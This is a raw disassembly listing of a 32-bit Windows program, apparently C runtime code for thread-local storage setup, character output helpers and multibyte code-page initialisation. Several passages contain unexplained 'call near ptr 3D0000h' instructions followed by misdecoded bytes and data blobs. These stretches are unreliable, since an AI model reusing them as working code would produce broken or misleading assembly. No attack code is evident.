push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_425AA0 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_4257D3 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_4257D3 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_425A60 add esp, 10h loc_4257D3: ; CODE XREF: sub_424CB0+AFBj ; sub_424CB0+B05j cmp [ebp+var_1C], 0 jz loc_425881 cmp [ebp+var_24], 0 jle loc_425881 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_4257F9: ; CODE XREF: sub_424CB0+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_42587F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_42E8B0 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_425859 jmp short loc_42587F ; --------------------------------------------------------------------------- loc_425859: ; CODE XREF: sub_424CB0+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_425AA0 add esp, 10h jmp loc_4257F9 ; --------------------------------------------------------------------------- loc_42587F: ; CODE XREF: sub_424CB0+B60j ; sub_424CB0+BA7j jmp short loc_42589C ; --------------------------------------------------------------------------- loc_425881: ; CODE XREF: sub_424CB0+B27j ; sub_424CB0+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_425AA0 add esp, 10h loc_42589C: ; CODE XREF: sub_424CB0:loc_42587Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_4258C2 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_425A60 add esp, 10h loc_4258C2: ; CODE XREF: sub_424CB0+ADj ; sub_424CB0+155j ... jmp loc_424CD4 ; --------------------------------------------------------------------------- loc_4258C7: ; CODE XREF: sub_424CB0+3Bj ; sub_424CB0+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424CB0 endp ; --------------------------------------------------------------------------- off_4258D4 dd offset loc_424D70 ; DATA XREF: sub_424CB0+B9r dd offset loc_424E0A dd offset loc_424E4C dd offset loc_424EBB dd offset loc_424F13 dd offset loc_424F22 dd offset loc_424F6E dd offset loc_425001 off_4258F4 dd offset loc_424E98 ; DATA XREF: sub_424CB0+1CCr dd offset loc_424EA3 dd offset loc_424E8E dd offset loc_424E83 dd offset loc_424EAE dd offset loc_424EB6 byte_42590C db 0 ; DATA XREF: sub_424CB0+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_42591D dd offset loc_424FB0 ; DATA XREF: sub_424CB0+2EEr dd offset loc_424FE9 dd offset loc_424FA5 dd offset loc_424FF3 dd offset loc_424FFC byte_425931 db 0 ; DATA XREF: sub_424CB0+2E8r dw 404h dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h off_425960 dd offset loc_42503C ; DATA XREF: sub_424CB0+385r dd offset loc_4252D0 dd offset loc_425160 dd offset loc_425409 dd offset loc_4250CB dd offset loc_425051 dd offset loc_4253DB dd offset loc_4252E0 dd offset loc_425285 dd offset loc_425455 dd offset loc_4253FF dd offset loc_425176 dd offset loc_4253F3 dd offset loc_425415 dd offset loc_4256E7 byte_42599C db 0 ; DATA XREF: sub_424CB0+37Fr db 0Eh, 1, 0Eh dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh) dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4259E0 proc near ; CODE XREF: sub_424CB0+F5p ; sub_424CB0+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_425A22 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_425A35 ; --------------------------------------------------------------------------- loc_425A22: ; CODE XREF: sub_4259E0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_424A30 add esp, 8 mov [ebp+var_4], eax loc_425A35: ; CODE XREF: sub_4259E0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_425A46 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_425A53 ; --------------------------------------------------------------------------- loc_425A46: ; CODE XREF: sub_4259E0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_425A53: ; CODE XREF: sub_4259E0+64j mov esp, ebp pop ebp retn sub_4259E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A60 proc near ; CODE XREF: sub_424CB0+ACDp ; sub_424CB0+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_425A63: ; CODE XREF: sub_425A60:loc_425A91j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_425A93 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_4259E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_425A91 jmp short loc_425A93 ; --------------------------------------------------------------------------- loc_425A91: ; CODE XREF: sub_425A60+2Dj jmp short loc_425A63 ; --------------------------------------------------------------------------- loc_425A93: ; CODE XREF: sub_425A60+11j ; sub_425A60+2Fj pop ebp retn sub_425A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AA0 proc near ; CODE XREF: sub_424CB0+AEBp ; sub_424CB0+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_425AA4: ; CODE XREF: sub_425AA0:loc_425AE4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_425AE6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_4259E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_425AE4 jmp short loc_425AE6 ; --------------------------------------------------------------------------- loc_425AE4: ; CODE XREF: sub_425AA0+40j jmp short loc_425AA4 ; --------------------------------------------------------------------------- loc_425AE6: ; CODE XREF: sub_425AA0+12j ; sub_425AA0+42j mov esp, ebp pop ebp retn sub_425AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AF0 proc near ; CODE XREF: sub_424CB0+218p ; sub_424CB0+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_425AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B10 proc near ; CODE XREF: sub_424CB0+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_425B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B30 proc near ; CODE XREF: sub_424CB0+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_425B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B50 proc near ; CODE XREF: seg000:loc_420BC4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_4219A0 call ds:dword_4F1470 ; TlsAlloc mov ds:dword_450040, eax cmp ds:dword_450040, 0FFFFFFFFh jnz short loc_425B71 xor eax, eax jmp short loc_425BCE ; --------------------------------------------------------------------------- loc_425B71: ; CODE XREF: sub_425B50+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41B270 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_425BA4 mov eax, [ebp+var_4] push eax mov ecx, ds:dword_450040 push ecx call ds:dword_4F146C ; TlsSetValue test eax, eax jnz short loc_425BA8 loc_425BA4: ; CODE XREF: sub_425B50+3Dj xor eax, eax jmp short loc_425BCE ; --------------------------------------------------------------------------- loc_425BA8: ; CODE XREF: sub_425B50+52j mov edx, [ebp+var_4] push edx call sub_425C10 add esp, 4 call near ptr 3D0000h push es mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_425BCE: ; CODE XREF: sub_425B50+1Fj ; sub_425B50+56j mov esp, ebp pop ebp retn sub_425B50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_4219E0 cmp ds:dword_450040, 0FFFFFFFFh jz short loc_425C07 mov eax, ds:dword_450040 push eax call ds:dword_4F1474 ; TlsFree mov ds:dword_450040, 0FFFFFFFFh loc_425C07: ; CODE XREF: seg000:00425BEFj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C10 proc near ; CODE XREF: sub_425B50+5Cp ; sub_425C30+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_450578 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_425C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C30 proc near ; CODE XREF: sub_41D6B0+Cp ; sub_41DB90+3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_8], eax mov eax, ds:dword_450040 push eax call ds:dword_4F147C ; TlsGetValue mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_425CB7 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41B270 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_425CAD mov ecx, [ebp+var_4] push ecx mov edx, ds:dword_450040 push edx call ds:dword_4F146C ; TlsSetValue test eax, eax jz short loc_425CAD mov eax, [ebp+var_4] push eax call sub_425C10 add esp, 4 call near ptr 3D0000h imul ecx, [ebx+189FC4Dh], -75h push ebp cld mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_425CB7 ; --------------------------------------------------------------------------- loc_425CAD: ; CODE XREF: sub_425C30+43j ; sub_425C30+58j push 10h call sub_420CA0 add esp, 4 loc_425CB7: ; CODE XREF: sub_425C30+22j ; sub_425C30+7Bj mov eax, [ebp+var_8] push eax call ds:dword_4F1478 ; RtlSetLastWin32Error mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_425C30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp ds:dword_450040, 0FFFFFFFFh jz loc_425DD5 cmp dword ptr [ebp+8], 0 jnz short loc_425CF5 mov eax, ds:dword_450040 push eax call ds:dword_4F147C ; TlsGetValue mov [ebp+8], eax loc_425CF5: ; CODE XREF: seg000:00425CE4j cmp dword ptr [ebp+8], 0 jz loc_425DC6 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_425D19 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_41B8F0 add esp, 8 loc_425D19: ; CODE XREF: seg000:00425D06j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_425D33 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_41B8F0 add esp, 8 loc_425D33: ; CODE XREF: seg000:00425D20j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_425D4D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_41B8F0 add esp, 8 loc_425D4D: ; CODE XREF: seg000:00425D3Aj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_425D67 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_41B8F0 add esp, 8 loc_425D67: ; CODE XREF: seg000:00425D54j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_425D81 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_41B8F0 add esp, 8 loc_425D81: ; CODE XREF: seg000:00425D6Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_425D9B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_41B8F0 add esp, 8 loc_425D9B: ; CODE XREF: seg000:00425D88j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_450578 jz short loc_425DB8 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_41B8F0 add esp, 8 loc_425DB8: ; CODE XREF: seg000:00425DA5j push 2 mov ecx, [ebp+8] push ecx call sub_41B8F0 add esp, 8 loc_425DC6: ; CODE XREF: seg000:00425CF9j push 0 mov edx, ds:dword_450040 push edx call ds:dword_4F146C ; TlsSetValue loc_425DD5: ; CODE XREF: seg000:00425CDAj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call near ptr 3D0000h push edi pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call near ptr 3D0000h inc esi pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_425E00: ; CODE XREF: sub_4265E0+Ep push ebp mov ebp, esp sub esp, 28h push 19h call sub_421A80 add esp, 4 mov eax, [ebp+8] push eax call loc_426150 add esp, 4 mov [ebp+8], eax mov ecx, [ebp+8] cmp ecx, ds:dword_4EEE24 jnz short loc_425E3B push 19h call sub_421B20 add esp, 4 xor eax, eax jmp loc_426140 ; --------------------------------------------------------------------------- loc_425E3B: ; CODE XREF: seg000:00425E28j cmp dword ptr [ebp+8], 0 jnz short loc_425E5C call sub_426230 call sub_4262B0 push 19h call sub_421B20 add esp, 4 xor eax, eax jmp loc_426140 ; --------------------------------------------------------------------------- loc_425E5C: ; CODE XREF: seg000:00425E3Fj mov dword ptr [ebp-4], 0 jmp short loc_425E6E ; --------------------------------------------------------------------------- loc_425E65: ; CODE XREF: seg000:loc_425FBAj mov edx, [ebp-4] add edx, 1 mov [ebp-4], edx loc_425E6E: ; CODE XREF: seg000:00425E63j cmp dword ptr [ebp-4], 5 jnb loc_425FBF mov eax, [ebp-4] imul eax, 30h mov ecx, ds:dword_450050[eax] cmp ecx, [ebp+8] jnz loc_425FBA mov dword ptr [ebp-24h], 0 jmp short loc_425E9F ; --------------------------------------------------------------------------- loc_425E96: ; CODE XREF: seg000:00425EB2j mov edx, [ebp-24h] add edx, 1 mov [ebp-24h], edx loc_425E9F: ; CODE XREF: seg000:00425E94j cmp dword ptr [ebp-24h], 101h jnb short loc_425EB4 mov eax, [ebp-24h] mov ds:byte_4EEF40[eax], 0 jmp short loc_425E96 ; --------------------------------------------------------------------------- loc_425EB4: ; CODE XREF: seg000:00425EA6j mov dword ptr [ebp-0Ch], 0 jmp short loc_425EC6 ; --------------------------------------------------------------------------- loc_425EBD: ; CODE XREF: seg000:loc_425F42j mov ecx, [ebp-0Ch] add ecx, 1 mov [ebp-0Ch], ecx loc_425EC6: ; CODE XREF: seg000:00425EBBj cmp dword ptr [ebp-0Ch], 4 jnb short loc_425F47 mov edx, [ebp-4] imul edx, 30h mov eax, [ebp-0Ch] lea ecx, dword_450060[edx+eax*8] mov [ebp-8], ecx jmp short loc_425EEA ; --------------------------------------------------------------------------- loc_425EE1: ; CODE XREF: seg000:loc_425F40j mov edx, [ebp-8] add edx, 2 mov [ebp-8], edx loc_425EEA: ; CODE XREF: seg000:00425EDFj mov eax, [ebp-8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_425F42 mov edx, [ebp-8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_425F42 mov ecx, [ebp-8] xor edx, edx mov dl, [ecx] mov [ebp-24h], edx jmp short loc_425F16 ; --------------------------------------------------------------------------- loc_425F0D: ; CODE XREF: seg000:00425F3Ej mov eax, [ebp-24h] add eax, 1 mov [ebp-24h], eax loc_425F16: ; CODE XREF: seg000:00425F0Bj mov ecx, [ebp-8] xor edx, edx mov dl, [ecx+1] cmp [ebp-24h], edx ja short loc_425F40 mov eax, [ebp-24h] mov ecx, [ebp-0Ch] mov dl, ds:byte_4EEF41[eax] or dl, ds:byte_450048[ecx] mov eax, [ebp-24h] mov ds:byte_4EEF41[eax], dl jmp short loc_425F0D ; --------------------------------------------------------------------------- loc_425F40: ; CODE XREF: seg000:00425F21j jmp short loc_425EE1 ; --------------------------------------------------------------------------- loc_425F42: ; CODE XREF: seg000:00425EF3j ; seg000:00425EFFj jmp loc_425EBD ; --------------------------------------------------------------------------- loc_425F47: ; CODE XREF: seg000:00425ECAj mov ecx, [ebp+8] mov ds:dword_4EEE24, ecx mov ds:dword_4EEE3C, 1 ; CODE XREF: seg000:00425FCCj mov edx, ds:dword_4EEE24 push edx call sub_4261B0 add esp, 4 mov ds:dword_4EF044, eax mov dword ptr [ebp-0Ch], 0 jmp short loc_425F80 ; --------------------------------------------------------------------------- loc_425F77: ; CODE XREF: seg000:00425FA2j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_425F80: ; CODE XREF: seg000:00425F75j cmp dword ptr [ebp-0Ch], 6 jnb short loc_425FA4 mov ecx, [ebp-4] imul ecx, 30h mov edx, [ebp-0Ch] mov eax, [ebp-0Ch] mov cx, ds:word_450054[ecx+eax*2] mov ds:word_4EEE30[edx*2], cx jmp short loc_425F77 ; --------------------------------------------------------------------------- loc_425FA4: ; CODE XREF: seg000:00425F84j call sub_4262B0 push 19h call sub_421B20 add esp, 4 xor eax, eax jmp loc_426140 ; --------------------------------------------------------------------------- loc_425FBA: ; CODE XREF: seg000:00425E87j jmp loc_425E65 ; --------------------------------------------------------------------------- loc_425FBF: ; CODE XREF: seg000:00425E72j lea edx, [ebp-20h] push edx mov eax, [ebp+8] push eax call near ptr 3D0000h jno short near ptr loc_425F50+1 clc add [edi], ecx test [ecx+eax], edi ; --------------------------------------------------------------------------- dd 45C70000h, 0DCh, 8B09EB00h, 0C183DC4Dh, 0DC4D8901h dd 1DC7D81h, 73000001h, 0DC558B0Ch, 0EF4082C6h, 0EB00004Eh dd 8458BE2h, 4EEE24A3h, 4405C700h, 4EF0h, 83000000h, 0F01E07Dh dd 0B586h, 0E64D8D00h, 0EBD84D89h, 0D8558B09h, 8902C283h dd 458BD855h, 8AC933D8h, 74C98508h, 0D8558B47h, 428AC033h dd 74C08501h, 0D84D8B3Bh, 118AD233h, 0EBDC5589h, 0DC458B09h dd 8901C083h, 4D8BDC45h, 8AD233D8h, 55390151h, 8B1777DCh dd 888ADC45h, 4EEF41h, 8B04C980h, 8A88DC55h, 4EEF41h, 0A5EBD3EBh dd 1DC45C7h, 0EB000000h, 0DC458B09h, 8901C083h, 7D81DC45h dd 0FFDCh, 8B177300h, 918ADC4Dh, 4EEF41h, 8B08CA80h, 9088DC45h dd 4EEF41h, 0D8BD7EBh, 4EEE24h, 0F6E851h, 0C4830000h, 0F044A304h dd 5C7004Eh, 4EEE3Ch, 1, 5C70AEBh, 4EEE3Ch, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp-0Ch], 0 jmp short loc_4260EA ; --------------------------------------------------------------------------- loc_4260E1: ; CODE XREF: seg000:004260FDj mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx loc_4260EA: ; CODE XREF: seg000:004260DFj cmp dword ptr [ebp-0Ch], 6 jnb short loc_4260FF mov eax, [ebp-0Ch] mov ds:word_4EEE30[eax*2], 0 jmp short loc_4260E1 ; --------------------------------------------------------------------------- loc_4260FF: ; CODE XREF: seg000:004260EEj call sub_4262B0 push 19h call sub_421B20 add esp, 4 xor eax, eax jmp short loc_426140 ; --------------------------------------------------------------------------- cmp ds:dword_4EEA50, 0 jz short loc_426133 call sub_426230 call sub_4262B0 push 19h call sub_421B20 add esp, 4 xor eax, eax jmp short loc_426140 ; --------------------------------------------------------------------------- loc_426133: ; CODE XREF: seg000:00426119j push 19h call sub_421B20 add esp, 4 or eax, 0FFFFFFFFh loc_426140: ; CODE XREF: seg000:00425E36j ; seg000:00425E57j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_426150: ; CODE XREF: seg000:00425E14p push ebp mov ebp, esp mov ds:dword_4EEA50, 0 cmp dword ptr [ebp+8], 0FFFFFFFEh jnz short loc_426175 mov ds:dword_4EEA50, 1 call near ptr 3D0000h ; --------------------------------------------------------------------------- dw 0EBDAh db 32h ; --------------------------------------------------------------------------- loc_426175: ; CODE XREF: seg000:00426161j cmp dword ptr [ebp+8], 0FFFFFFFDh jnz short loc_42618D mov ds:dword_4EEA50, 1 call near ptr 3D0000h dec ebp jmp short loc_4261A7 ; --------------------------------------------------------------------------- loc_42618D: ; CODE XREF: seg000:00426179j cmp dword ptr [ebp+8], 0FFFFFFFCh jnz short loc_4261A4 mov ds:dword_4EEA50, 1 mov eax, ds:dword_4EEA80 jmp short loc_4261A7 ; --------------------------------------------------------------------------- loc_4261A4: ; CODE XREF: seg000:00426191j mov eax, [ebp+8] loc_4261A7: ; CODE XREF: seg000:0042618Bj ; seg000:004261A2j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261B0 proc near ; CODE XREF: seg000:00425F61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_4261FA mov eax, [ebp+var_4] xor edx, edx mov dl, ds:byte_426214[eax] jmp ds:off_426200[edx*4] loc_4261DE: ; DATA XREF: seg000:off_426200o mov eax, 411h jmp short loc_4261FC ; --------------------------------------------------------------------------- loc_4261E5: ; CODE XREF: sub_4261B0+27j ; DATA XREF: seg000:00426204o mov eax, 804h jmp short loc_4261FC ; --------------------------------------------------------------------------- loc_4261EC: ; CODE XREF: sub_4261B0+27j ; DATA XREF: seg000:00426208o mov eax, 412h jmp short loc_4261FC ; --------------------------------------------------------------------------- loc_4261F3: ; CODE XREF: sub_4261B0+27j ; DATA XREF: seg000:0042620Co mov eax, 404h jmp short loc_4261FC ; --------------------------------------------------------------------------- loc_4261FA: ; CODE XREF: sub_4261B0+1Aj ; sub_4261B0+27j ; DATA XREF: ... xor eax, eax loc_4261FC: ; CODE XREF: sub_4261B0+33j ; sub_4261B0+3Aj ... mov esp, ebp pop ebp retn sub_4261B0 endp ; --------------------------------------------------------------------------- off_426200 dd offset loc_4261DE ; DATA XREF: sub_4261B0+27r dd offset loc_4261E5 dd offset loc_4261EC dd offset loc_4261F3 dd offset loc_4261FA byte_426214 db 0 ; DATA XREF: sub_4261B0+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426230 proc near ; CODE XREF: seg000:00425E41p ; seg000:0042611Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_426246 ; --------------------------------------------------------------------------- loc_42623D: ; CODE XREF: sub_426230+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_426246: ; CODE XREF: sub_426230+Bj cmp [ebp+var_4], 101h jge short loc_42625B mov ecx, [ebp+var_4] mov ds:byte_4EEF40[ecx], 0 jmp short loc_42623D ; --------------------------------------------------------------------------- loc_42625B: ; CODE XREF: sub_426230+1Dj mov ds:dword_4EEE24, 0 mov ds:dword_4EEE3C, 0 mov ds:dword_4EF044, 0 mov [ebp+var_4], 0 jmp short loc_42628B ; --------------------------------------------------------------------------- loc_426282: ; CODE XREF: sub_426230+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42628B: ; CODE XREF: sub_426230+50j cmp [ebp+var_4], 6 jge short loc_4262A0 mov eax, [ebp+var_4] mov ds:word_4EEE30[eax*2], 0 jmp short loc_426282 ; --------------------------------------------------------------------------- loc_4262A0: ; CODE XREF: sub_426230+5Fj mov esp, ebp pop ebp retn sub_426230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262B0 proc near ; CODE XREF: seg000:00425E46p ; seg000:loc_425FA4p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, ds:dword_4EEE24 push ecx call near ptr 3D0000h push cs cmp eax, 1 jnz loc_4264E9 mov [ebp+var_51C], 0 jmp short loc_4262F1 ; --------------------------------------------------------------------------- loc_4262E2: ; CODE XREF: sub_4262B0+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_4262F1: ; CODE XREF: sub_4262B0+30j cmp [ebp+var_51C], 100h jnb short loc_426312 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_4262E2 ; --------------------------------------------------------------------------- loc_426312: ; CODE XREF: sub_4262B0+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_42632D ; --------------------------------------------------------------------------- loc_426324: ; CODE XREF: sub_4262B0:loc_426376j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_42632D: ; CODE XREF: sub_4262B0+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_426378 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_426356 ; --------------------------------------------------------------------------- loc_426347: ; CODE XREF: sub_4262B0+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_426356: ; CODE XREF: sub_4262B0+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_426376 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_426347 ; --------------------------------------------------------------------------- loc_426376: ; CODE XREF: sub_4262B0+B4j jmp short loc_426324 ; --------------------------------------------------------------------------- loc_426378: ; CODE XREF: sub_4262B0+86j push 0 mov eax, ds:dword_4EF044 push eax mov ecx, ds:dword_4EEE24 push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call loc_42E040 add esp, 1Ch push 0 mov ecx, ds:dword_4EEE24 push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, ds:dword_4EF044 push ecx call loc_42BB40 add esp, 20h push 0 mov edx, ds:dword_4EEE24 push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, ds:dword_4EF044 push edx call loc_42BB40 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_426429 ; --------------------------------------------------------------------------- loc_42641A: ; CODE XREF: sub_4262B0:loc_4264DFj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_426429: ; CODE XREF: sub_4262B0+168j cmp [ebp+var_51C], 100h jnb loc_4264E4 mov ecx, [ebp+var_51C] 